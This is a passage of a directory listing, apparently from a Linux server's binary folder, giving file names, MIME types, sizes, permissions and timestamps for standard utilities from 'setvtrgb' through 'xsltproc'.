1.5 KB
-rwxr-xr-x
2025-09-09 01:57:01
setvtrgb
application/x-sharedlib
16.64 KB
-rwxr-xr-x
2023-10-14 09:01:01
sfdp
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
sftp
application/x-sharedlib
159.73 KB
-rwxr-xr-x
2025-09-30 10:44:15
sg
application/x-sharedlib
42.45 KB
-rwsr-xr-x
2024-04-06 02:00:13
sg_bg_ctl
application/x-sharedlib
16.07 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_compare_and_write
application/x-sharedlib
20.9 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_copy_results
application/x-sharedlib
20.81 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_dd
application/x-sharedlib
44.58 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_decode_sense
application/x-sharedlib
20.33 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_emc_trespass
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_format
application/x-sharedlib
33.37 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_get_config
application/x-sharedlib
33.31 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_get_lba_status
application/x-sharedlib
20.46 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_ident
application/x-sharedlib
16.17 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_inq
application/x-sharedlib
117.91 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_logs
application/x-sharedlib
150.02 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_luns
application/x-sharedlib
24.85 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_map
application/x-sharedlib
16.41 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_map26
application/x-sharedlib
24.87 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_modes
application/x-sharedlib
43.88 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_opcodes
application/x-sharedlib
28.69 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_persist
application/x-sharedlib
34.13 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_prevent
application/x-sharedlib
12.07 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_raw
application/x-sharedlib
24.38 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rbuf
application/x-sharedlib
20.84 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rdac
application/x-sharedlib
15.88 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read
application/x-sharedlib
24.41 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_attr
application/x-sharedlib
34.79 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_block_limits
application/x-sharedlib
12.12 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_buffer
application/x-sharedlib
20.96 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_long
application/x-sharedlib
16.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_readcap
application/x-sharedlib
20.86 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_reassign
application/x-sharedlib
16.22 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_referrals
application/x-sharedlib
16.23 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rep_zones
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_requests
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_reset
application/x-sharedlib
16.73 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_reset_wp
application/x-sharedlib
16.17 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rmsn
application/x-sharedlib
12.06 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rtpg
application/x-sharedlib
16.16 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_safte
application/x-sharedlib
20.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sanitize
application/x-sharedlib
24.58 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_identify
application/x-sharedlib
16.71 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_phy_event
application/x-sharedlib
20.59 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_read_gplog
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_set_features
application/x-sharedlib
16.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_scan
application/x-sharedlib
16.5 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_seek
application/x-sharedlib
16.85 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_senddiag
application/x-sharedlib
25.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_ses
application/x-sharedlib
118.23 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_ses_microcode
application/x-sharedlib
29.48 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_start
application/x-sharedlib
20.93 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_stpg
application/x-sharedlib
20.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_stream_ctl
application/x-sharedlib
20.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sync
application/x-sharedlib
16.22 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_test_rwbuf
application/x-sharedlib
20.73 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_timestamp
application/x-sharedlib
20.74 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_turs
application/x-sharedlib
16.74 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_unmap
application/x-sharedlib
24.32 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_verify
application/x-sharedlib
20.46 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_vpd
application/x-sharedlib
108.75 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_wr_mode
application/x-sharedlib
20.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_buffer
application/x-sharedlib
21.24 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_long
application/x-sharedlib
16.33 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_same
application/x-sharedlib
24.48 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_verify
application/x-sharedlib
20.78 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_x
application/x-sharedlib
53.75 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_xcopy
application/x-sharedlib
40.59 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_zone
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sginfo
application/x-sharedlib
74.85 KB
-rwxr-xr-x
2022-10-08 11:49:32
sgm_dd
application/x-sharedlib
32.55 KB
-rwxr-xr-x
2022-10-08 11:49:32
sgp_dd
application/x-sharedlib
36.95 KB
-rwxr-xr-x
2022-10-08 11:49:32
sh
application/x-sharedlib
1.1 MB
-rwxr-xr-x
2025-08-26 08:48:39
sha1hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha1sum
application/x-sharedlib
45.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha224hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha224sum
application/x-sharedlib
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha256hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha256sum
application/x-sharedlib
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha384hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha384sum
application/x-sharedlib
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha512hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha512sum
application/x-sharedlib
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
shasum
text/x-perl
9.66 KB
-rwxr-xr-x
2019-10-14 12:00:12
showconsolefont
application/x-sharedlib
20.73 KB
-rwxr-xr-x
2023-10-14 09:01:01
showkey
application/x-sharedlib
16.58 KB
-rwxr-xr-x
2023-10-14 09:01:01
showrgb
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-15 01:08:41
shred
application/x-sharedlib
61.94 KB
-rwxr-xr-x
2023-04-01 08:44:39
shuf
application/x-sharedlib
58.16 KB
-rwxr-xr-x
2023-04-01 08:44:39
signver
application/x-sharedlib
114.79 KB
-rwxr-xr-x
2025-09-09 01:57:07
sim_client
application/x-sharedlib
16.28 KB
-rwxr-xr-x
2025-06-03 02:06:30
size
application/x-sharedlib
33.25 KB
-rwxr-xr-x
2025-10-07 06:44:04
skill
application/x-sharedlib
28.8 KB
-rwxr-xr-x
2023-10-14 08:31:02
slabinfo
application/x-sharedlib
36.15 KB
-rwxr-xr-x
2025-10-20 08:13:35
slabtop
application/x-sharedlib
20.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
sleep
application/x-sharedlib
37.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
slencheck
application/x-sharedlib
13.07 KB
-rwxr-xr-x
2019-10-14 09:51:19
sm3hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
smtpd2.7.py
text/plain
18.11 KB
-rwxr-xr-x
2024-04-10 04:57:37
smtpd2.py
text/plain
18.11 KB
-rwxr-xr-x
2024-04-10 04:57:37
snice
application/x-sharedlib
28.8 KB
-rwxr-xr-x
2023-10-14 08:31:02
snmpconf
text/x-perl
25.44 KB
-rwxr-xr-x
2025-10-07 09:19:23
socat
application/x-sharedlib
406.49 KB
-rwxr-xr-x
2025-07-15 09:33:30
soelim
application/x-sharedlib
42.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
sort
application/x-sharedlib
123.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
sotruss
text/x-shellscript
4.18 KB
-rwxr-xr-x
2025-08-05 02:01:31
spell
text/x-shellscript
122 B
-rwxr-xr-x
2022-04-18 03:10:51
splain
text/x-perl
18.7 KB
-rwxr-xr-x
2025-07-28 08:08:32
split
application/x-sharedlib
58.13 KB
-rwxr-xr-x
2023-04-01 08:44:39
sprof
application/x-sharedlib
28.67 KB
-rwxr-xr-x
2025-08-05 02:12:44
sqlite3
application/x-sharedlib
1.28 MB
-rwxr-xr-x
2025-07-29 01:27:56
ssh
application/x-sharedlib
757.52 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-add
application/x-sharedlib
346.13 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-agent
application/x-sharedlib
325.55 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-copy-id
text/x-shellscript
10.44 KB
-rwxr-xr-x
2025-09-30 10:44:14
ssh-keygen
application/x-sharedlib
427.16 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-keyscan
application/x-sharedlib
428.57 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssltap
application/x-sharedlib
130.51 KB
-rwxr-xr-x
2025-09-09 01:57:07
sss_ssh_authorizedkeys
application/x-sharedlib
28.79 KB
-rwxr-xr-x
2025-06-05 07:42:53
sss_ssh_knownhostsproxy
application/x-sharedlib
28.79 KB
-rwxr-xr-x
2025-06-05 07:42:53
stat
application/x-sharedlib
86.23 KB
-rwxr-xr-x
2023-04-01 08:44:39
stdbuf
application/x-sharedlib
49.58 KB
-rwxr-xr-x
2023-04-01 08:44:39
strace
application/x-sharedlib
1.94 MB
-rwxr-xr-x
2025-01-28 01:32:17
strace-log-merge
text/x-shellscript
1.78 KB
-rwxr-xr-x
2021-02-16 08:00:00
stream
application/x-sharedlib
11.83 KB
-rwxr-xr-x
2025-04-01 01:15:58
strings
application/x-sharedlib
37.43 KB
-rwxr-xr-x
2025-10-07 06:44:04
strip
application/x-sharedlib
240.1 KB
-rwxr-xr-x
2025-10-07 06:44:04
stty
application/x-sharedlib
77.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
su
48.98 KB
-rwsr-x---
2024-04-06 01:02:53
sudo
186.52 KB
---s--x--x
2025-08-26 09:02:52
sudoedit
186.52 KB
---s--x--x
2025-08-26 09:02:52
sudoreplay
115.2 KB
---x--x--x
2025-08-26 09:02:52
sum
application/x-sharedlib
45.61 KB
-rwxr-xr-x
2023-04-01 08:44:39
sw-engine
application/x-executable
20.12 MB
-rwxr-xr-x
1990-01-01 12:00:00
switch_mod_lsapi
text/x-python
30.99 KB
-rwxr-xr-x
2025-10-15 08:45:47
sxpm
application/x-sharedlib
28.81 KB
-rwxr-xr-x
2024-03-30 01:53:16
sync
application/x-sharedlib
37.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
systemctl
application/x-sharedlib
218.45 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-analyze
application/x-sharedlib
1.55 MB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-ask-password
application/x-sharedlib
12.02 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-cat
application/x-sharedlib
16.03 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-cgls
application/x-sharedlib
16.44 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-cgtop
application/x-sharedlib
32.88 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-delta
application/x-sharedlib
24.45 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-detect-virt
application/x-sharedlib
11.88 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-escape
application/x-sharedlib
16.01 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-firstboot
application/x-sharedlib
36.98 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-hwdb
application/x-sharedlib
28.91 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-inhibit
application/x-sharedlib
16.03 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-machine-id-setup
application/x-sharedlib
24.75 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-mount
application/x-sharedlib
52.63 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-notify
application/x-sharedlib
16.03 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-path
application/x-sharedlib
16.02 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-resolve
application/x-sharedlib
195.74 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-run
application/x-sharedlib
48.94 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-socket-activate
application/x-sharedlib
24.77 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-stdio-bridge
application/x-sharedlib
16.02 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-sysusers
application/x-sharedlib
53.05 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-tmpfiles
application/x-sharedlib
73.29 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-tty-ask-password-agent
application/x-sharedlib
32.82 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-umount
application/x-sharedlib
52.63 KB
-rwxr-xr-x
2025-04-22 01:58:57
tabs
application/x-sharedlib
16.55 KB
-rwxr-xr-x
2023-10-14 06:54:49
tac
application/x-sharedlib
41.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
tail
application/x-sharedlib
74.2 KB
-rwxr-xr-x
2023-04-01 08:44:39
tapestat
application/x-sharedlib
41.32 KB
-rwxr-xr-x
2024-07-03 09:57:26
tar
application/x-sharedlib
448.99 KB
-rwxr-xr-x
2025-08-26 08:57:37
taskset
application/x-sharedlib
37.25 KB
-rwxr-xr-x
2024-04-06 01:02:53
tbl
application/x-sharedlib
154.61 KB
-rwxr-xr-x
2019-10-13 02:29:41
tcamgr
application/x-sharedlib
25.13 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcamttest
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcatest
application/x-sharedlib
57.6 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbmgr
application/x-sharedlib
29.1 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbmttest
application/x-sharedlib
53.22 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbtest
application/x-sharedlib
69.56 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcfmgr
application/x-sharedlib
25.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcfmttest
application/x-sharedlib
37.2 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcftest
application/x-sharedlib
45.18 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchmgr
application/x-sharedlib
25.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchmttest
application/x-sharedlib
49.22 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchtest
application/x-sharedlib
57.53 KB
-rwxr-xr-x
2019-10-13 01:22:36
tclsh
application/x-sharedlib
9.04 KB
-rwxr-xr-x
2019-10-12 12:25:32
tclsh8.6
application/x-sharedlib
9.04 KB
-rwxr-xr-x
2019-10-12 12:25:32
tcptraceroute
text/x-shellscript
1.55 KB
-rwxr-xr-x
2025-03-11 07:45:53
tctmgr
application/x-sharedlib
37.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tctmttest
application/x-sharedlib
45.2 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcttest
application/x-sharedlib
57.19 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcucodec
application/x-sharedlib
37.08 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcumttest
application/x-sharedlib
25.16 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcutest
application/x-sharedlib
73.17 KB
-rwxr-xr-x
2019-10-13 01:22:36
teamd
application/x-sharedlib
160.52 KB
-rwxr-xr-x
2023-03-31 08:40:53
teamdctl
application/x-sharedlib
30.37 KB
-rwxr-xr-x
2023-03-31 08:40:53
teamnl
application/x-sharedlib
20.47 KB
-rwxr-xr-x
2023-03-31 08:40:53
tee
application/x-sharedlib
41.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
telnet
application/x-sharedlib
104.88 KB
-rwxr-xr-x
2021-04-09 10:39:55
test
application/x-sharedlib
53.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
tic
application/x-sharedlib
85.31 KB
-rwxr-xr-x
2023-10-14 06:54:49
timedatectl
application/x-sharedlib
36.96 KB
-rwxr-xr-x
2025-04-22 01:58:57
timeout
application/x-sharedlib
41.93 KB
-rwxr-xr-x
2023-04-01 08:44:39
tload
application/x-sharedlib
16.76 KB
-rwxr-xr-x
2023-10-14 08:31:02
tmon
application/x-sharedlib
39.63 KB
-rwxr-xr-x
2025-10-20 08:13:35
tmpwatch
application/x-sharedlib
35.47 KB
-rwxr-xr-x
2019-10-12 11:32:29
toe
application/x-sharedlib
16.45 KB
-rwxr-xr-x
2023-10-14 06:54:49
top
application/x-sharedlib
121.7 KB
-rwxr-xr-x
2023-10-14 08:31:02
touch
application/x-sharedlib
94.02 KB
-rwxr-xr-x
2023-04-01 08:44:39
tput
application/x-sharedlib
24.8 KB
-rwxr-xr-x
2023-10-14 06:54:49
tr
application/x-sharedlib
49.7 KB
-rwxr-xr-x
2023-04-01 08:44:39
tracepath
application/x-sharedlib
20.44 KB
-rwxr-xr-x
2023-10-14 05:19:01
traceroute
application/x-sharedlib
70.97 KB
-rwxr-xr-x
2025-03-11 07:45:53
traceroute6
application/x-sharedlib
70.97 KB
-rwxr-xr-x
2025-03-11 07:45:53
tred
application/x-sharedlib
16.59 KB
-rwxr-xr-x
2024-04-06 12:47:15
troff
application/x-sharedlib
805.02 KB
-rwxr-xr-x
2019-10-13 02:29:41
true
application/x-sharedlib
33.4 KB
-rwxr-xr-x
2023-04-01 08:44:39
truncate
application/x-sharedlib
41.44 KB
-rwxr-xr-x
2023-04-01 08:44:39
trust
application/x-sharedlib
219.55 KB
-rwxr-xr-x
2024-04-06 02:16:19
tset
application/x-sharedlib
24.76 KB
-rwxr-xr-x
2023-10-14 06:54:49
tsort
application/x-sharedlib
41.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
tty
application/x-sharedlib
33.39 KB
-rwxr-xr-x
2023-04-01 08:44:39
turbostat
application/x-sharedlib
130.8 KB
-rwxr-xr-x
2025-10-20 08:13:35
twopi
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
type
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
tzselect
text/x-shellscript
15.01 KB
-rwxr-xr-x
2025-08-05 02:01:06
uapi
application/x-executable
3.18 MB
-rwxr-xr-x
2025-10-16 10:57:41
ucs2any
application/x-sharedlib
24.41 KB
-rwxr-xr-x
2021-10-09 11:42:47
udevadm
application/x-sharedlib
424.59 KB
-rwxr-xr-x
2025-04-22 01:58:57
ul
application/x-sharedlib
20.58 KB
-rwxr-xr-x
2024-04-06 01:02:53
ulimit
text/x-shellscript
30 B
-rwxr-xr-x
2025-08-26 08:48:39
umask
text/x-shellscript
29 B
-rwxr-xr-x
2025-08-26 08:48:39
umount
application/x-sharedlib
32.75 KB
-rwsr-xr-x
2024-04-06 01:02:53
unalias
text/x-shellscript
31 B
-rwxr-xr-x
2025-08-26 08:48:39
uname
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
uname26
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
unexpand
application/x-sharedlib
45.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
unflatten
application/x-sharedlib
16.63 KB
-rwxr-xr-x
2024-04-06 12:47:15
unicode_start
text/x-shellscript
2.55 KB
-rwxr-xr-x
2023-10-14 08:59:57
unicode_stop
text/x-shellscript
363 B
-rwxr-xr-x
2023-10-14 08:59:56
uniq
application/x-sharedlib
49.72 KB
-rwxr-xr-x
2023-04-01 08:44:39
unlink
application/x-sharedlib
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
unlzma
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
unpigz
application/x-sharedlib
125.38 KB
-rwxr-xr-x
2020-06-01 03:15:34
unshare
application/x-sharedlib
24.92 KB
-rwxr-xr-x
2024-04-06 01:02:53
unversioned-python
text/x-shellscript
157 B
-rwxr-xr-x
2025-08-26 09:08:20
unxz
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
unzip
application/x-sharedlib
201.88 KB
-rwxr-xr-x
2025-06-03 02:10:12
unzipsfx
application/x-sharedlib
101.48 KB
-rwxr-xr-x
2025-06-03 02:10:12
update-ca-trust
text/x-shellscript
1.24 KB
-rwxr-xr-x
2024-08-21 07:16:41
update-crypto-policies
text/plain
87 B
-rwxr-xr-x
2023-08-01 03:18:06
update-gtk-immodules
text/x-shellscript
313 B
-rwxr-xr-x
2021-04-06 01:52:28
update-mime-database
application/x-sharedlib
57.22 KB
-rwxr-xr-x
2024-04-06 02:07:10
uptime
application/x-sharedlib
12.59 KB
-rwxr-xr-x
2023-10-14 08:31:02
users
application/x-sharedlib
37.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
usleep
application/x-sharedlib
11.85 KB
-rwxr-xr-x
2022-10-08 11:08:06
utmpdump
application/x-sharedlib
28.66 KB
-rwxr-xr-x
2024-04-06 01:02:53
uuclient
application/x-sharedlib
15.88 KB
-rwxr-xr-x
2025-06-03 02:06:30
uuidgen
application/x-sharedlib
16.37 KB
-rwxr-xr-x
2024-04-06 01:02:53
uuidparse
application/x-sharedlib
37.13 KB
-rwxr-xr-x
2024-04-06 01:02:53
vacuumdb
application/x-sharedlib
78.46 KB
-rwxr-xr-x
2024-02-27 08:25:00
vdir
application/x-sharedlib
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
vi
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
view
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
vim
application/x-sharedlib
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
vimdiff
application/x-sharedlib
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
vimdot
text/x-shellscript
1.06 KB
-rwxr-xr-x
2024-04-06 12:47:05
vimtutor
text/x-shellscript
2.07 KB
-rwxr-xr-x
2025-10-12 12:23:12
vlock
application/x-sharedlib
20.83 KB
-rwxr-xr-x
2023-10-14 09:01:01
vmstat
application/x-sharedlib
36.79 KB
-rwxr-xr-x
2023-10-14 08:31:02
w
application/x-sharedlib
20.75 KB
-rwxr-xr-x
2023-10-14 08:31:02
wait
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
wall
application/x-sharedlib
33.05 KB
-rwxr-xr-x
2024-04-06 01:02:53
watch
application/x-sharedlib
29.19 KB
-rwxr-xr-x
2023-10-14 08:31:02
watchgnupg
application/x-sharedlib
16.43 KB
-rwxr-xr-x
2022-09-13 10:15:05
wc
application/x-sharedlib
49.72 KB
-rwxr-xr-x
2023-04-01 08:44:39
wdctl
application/x-sharedlib
36.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
wget
application/x-sharedlib
521.41 KB
-rwxr-xr-x
2024-08-13 10:22:56
whatis
application/x-sharedlib
54.04 KB
-rwxr-xr-x
2021-10-08 01:04:46
whereis
application/x-sharedlib
29.27 KB
-rwxr-xr-x
2024-04-06 01:02:53
which
application/x-sharedlib
29.38 KB
-rwxr-xr-x
2025-08-26 08:54:45
whiptail
application/x-sharedlib
33.09 KB
-rwxr-xr-x
2020-06-01 02:11:18
who
application/x-sharedlib
53.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
whoami
application/x-sharedlib
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
wish
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-16 05:25:14
wish8.6
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-16 05:25:14
wmf2eps
application/x-sharedlib
17.15 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2fig
application/x-sharedlib
17.15 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2gd
application/x-sharedlib
17.14 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2svg
application/x-sharedlib
17.16 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2x
application/x-sharedlib
17.13 KB
-rwxr-xr-x
2019-10-14 03:47:09
word-list-compress
application/x-sharedlib
11.99 KB
-rwxr-xr-x
2022-04-18 03:10:53
write
application/x-sharedlib
20.62 KB
-rwxr-sr-x
2024-04-06 01:02:53
wsrep_sst_backup
text/x-shellscript
2.39 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_common
text/plain
66.86 KB
-rw-r--r--
2025-07-28 03:57:47
wsrep_sst_mariabackup
text/x-shellscript
49.47 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_mysqldump
text/x-shellscript
8.1 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_rsync
text/x-shellscript
29.72 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_rsync_wan
text/x-shellscript
29.72 KB
-rwxr-xr-x
2025-07-28 03:57:47
x86_64
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
x86_64-redhat-linux-c++
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
x86_64-redhat-linux-g++
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
x86_64-redhat-linux-gcc
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
x86_64-redhat-linux-gcc-8
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
x86_64-redhat-linux-gnu-pkg-config
text/x-shellscript
424 B
-rwxr-xr-x
2019-10-13 06:57:31
x86_energy_perf_policy
application/x-sharedlib
31.95 KB
-rwxr-xr-x
2025-10-20 08:13:35
xargs
application/x-sharedlib
74.11 KB
-rwxr-xr-x
2024-09-24 02:19:34
xgamma
application/x-sharedlib
17.08 KB
-rwxr-xr-x
2019-10-15 01:08:41
xgettext
application/x-sharedlib
283.88 KB
-rwxr-xr-x
2019-11-18 05:17:29
xhost
application/x-sharedlib
17.12 KB
-rwxr-xr-x
2019-10-15 01:08:41
xinput
application/x-sharedlib
63.61 KB
-rwxr-xr-x
2019-10-15 01:08:41
xkill
application/x-sharedlib
17.1 KB
-rwxr-xr-x
2019-10-15 01:08:41
xml2-config
text/x-shellscript
1.71 KB
-rwxr-xr-x
2017-07-23 05:10:06
xmlcatalog
application/x-sharedlib
20.38 KB
-rwxr-xr-x
2025-08-06 01:59:35
xmllint
application/x-sharedlib
73.37 KB
-rwxr-xr-x
2025-08-06 01:59:35
xmlwf
application/x-sharedlib
32.96 KB
-rwxr-xr-x
2025-04-15 07:58:56
xmodmap
application/x-sharedlib
39.98 KB
-rwxr-xr-x
2019-10-15 01:08:41
xorg-x11-fonts-update-dirs
text/x-shellscript
1.29 KB
-rwxr--r--
2021-10-09 11:42:46
xrandr
application/x-sharedlib
65.46 KB
-rwxr-xr-x
2019-10-15 01:08:41
xrdb
application/x-sharedlib
33.98 KB
-rwxr-xr-x
2019-10-15 01:08:41
xrefresh
application/x-sharedlib
17.94 KB
-rwxr-xr-x
2019-10-15 01:08:41
xset
application/x-sharedlib
37.2 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsetpointer
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsetroot
application/x-sharedlib
21.44 KB
-rwxr-xr-x
2019-10-15 01:08:41
xslt-config
text/x-shellscript
2.36 KB
-rwxr-xr-x
2015-05-10 02:11:30
xsltproc
application/x-sharedlib
28.47 KB
